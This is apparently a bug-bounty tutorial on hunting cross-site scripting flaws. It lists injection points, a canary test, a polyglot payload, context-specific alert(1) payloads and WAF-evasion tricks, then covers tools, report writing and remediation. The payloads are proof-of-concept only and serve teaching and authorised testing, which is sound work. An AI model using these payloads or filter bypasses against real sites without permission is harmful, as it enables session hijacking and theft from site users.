How to Find XSS Vulnerabilities: The Ultimate Guide
Cross-Site Scripting (XSS) remains a critical vulnerability in the OWASP Top 10. It allows attackers to inject malicious scripts into web pages viewed by other users, leading to session hijacking, defacement, or redirection to malicious sites.
Understanding the Three Main Flavors
Before hunting, you must understand what you are looking for. XSS manifests in three primary forms:
| Type | Mechanism | Persistence | Typical Target |
|---|---|---|---|
| Reflected XSS | Payload is part of the request (URL parameters) | Non-persistent | Search bars, error messages |
| Stored XSS | Payload is saved in the database | Persistent | Comments, profiles, forums |
| DOM-Based XSS | Payload executes via client-side JavaScript | Context-dependent | Fragments (#), JS variables |
Phase 1: Reconnaissance & Discovery
You cannot hack what you cannot find. Start by mapping out every user input field in the application.
The Injection Checklist
- URL Parameters (e.g.,
?q=test,?id=1) - URL Paths (e.g.,
/user/test/) - HTTP Headers (User-Agent, Referer, X-Forwarded-For)
- Form Inputs (Search, Login, Contact, Registration)
- Hidden Form Fields
- File Upload Names
Phase 2: The Art of the Payload
Once you find an input, you need to test if it reflects your input back to the page un-sanitized.
1. The “Canary” Test
Before injecting scripts, inject a unique alphanumeric string (a “canary”) to see where it appears in the source code.
xyz123"<'>test
Search the source code for xyz123. If the < and > are not encoded (i.e., they don’t turn into <), you likely have XSS.
2. Polyglot Payloads
Polyglots are strings designed to break out of multiple contexts (HTML attributes, script tags, etc.) simultaneously.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
3. Context-Specific Payloads
Where did your canary land? Use a specific payload for that context.
Inside HTML Tags
<script>alert(1)</script>
<svg/onload=alert(1)>
<img src=x onerror=alert(1)>
Inside Attributes
" onmouseover=alert(1) "
' onfocus=alert(1) autofocus '
"><script>alert(1)</script>
Inside JavaScript Variables
'; alert(1); //
"-alert(1)-"
Phase 3: Bypassing Filters (WAF Evasion)
Modern applications often use Web Application Firewalls (WAF) to block <script> tags. Use these techniques to bypass them.
Case Manipulation
<ScRiPt>alert(1)</sCrIpT>
Tag Injection (No Script Tags)
<body onpageshow=alert(1)>
<style/onload=alert(1)>
<iframe/onload=alert(1)>
Encoding
Browsers decode HTML entities before execution. This can hide your payload from the WAF.
<img src=x onerror=alert(1)>
Phase 4: Automated Tools
While manual testing is best for logic errors, tools help scale your efforts.
| Tool | Type | Best For |
|---|---|---|
| Burp Suite | Proxy/Scanner | Manual interception and automated scanning (Pro) |
| Dalfox | CLI Scanner | Fast, parameter analysis and WAF evasion |
| XSStrike | Fuzzer | Context analysis and payload generation |
| XSS Hunter | Blind XSS | Finding XSS that executes on admin panels (Blind) |
How to Write a Good Report
Finding the bug is half the battle. Reporting it effectively ensures it gets fixed (and you get paid).
- Title: Clear and concise (e.g., “Reflected XSS on Search Parameter”).
- Description: Brief overview of the vulnerability.
- Impact: What can an attacker do? (Steal cookies, phishing).
- Steps to Reproduce:
- Go to URL…
- Enter payload…
- Observe alert box…
- Proof of Concept (PoC): Provide the full malicious URL or screenshot.
Remediation & Prevention
If you are a developer, here is how to stop XSS:
- Output Encoding: Convert special characters into HTML entities (e.g.,
<becomes<) before rendering data. - Input Sanitization: Remove dangerous tags using libraries like DOMPurify.
- Content Security Policy (CSP): A browser header that restricts where scripts can load from.
- HttpOnly Cookies: Prevents JavaScript from reading session cookies.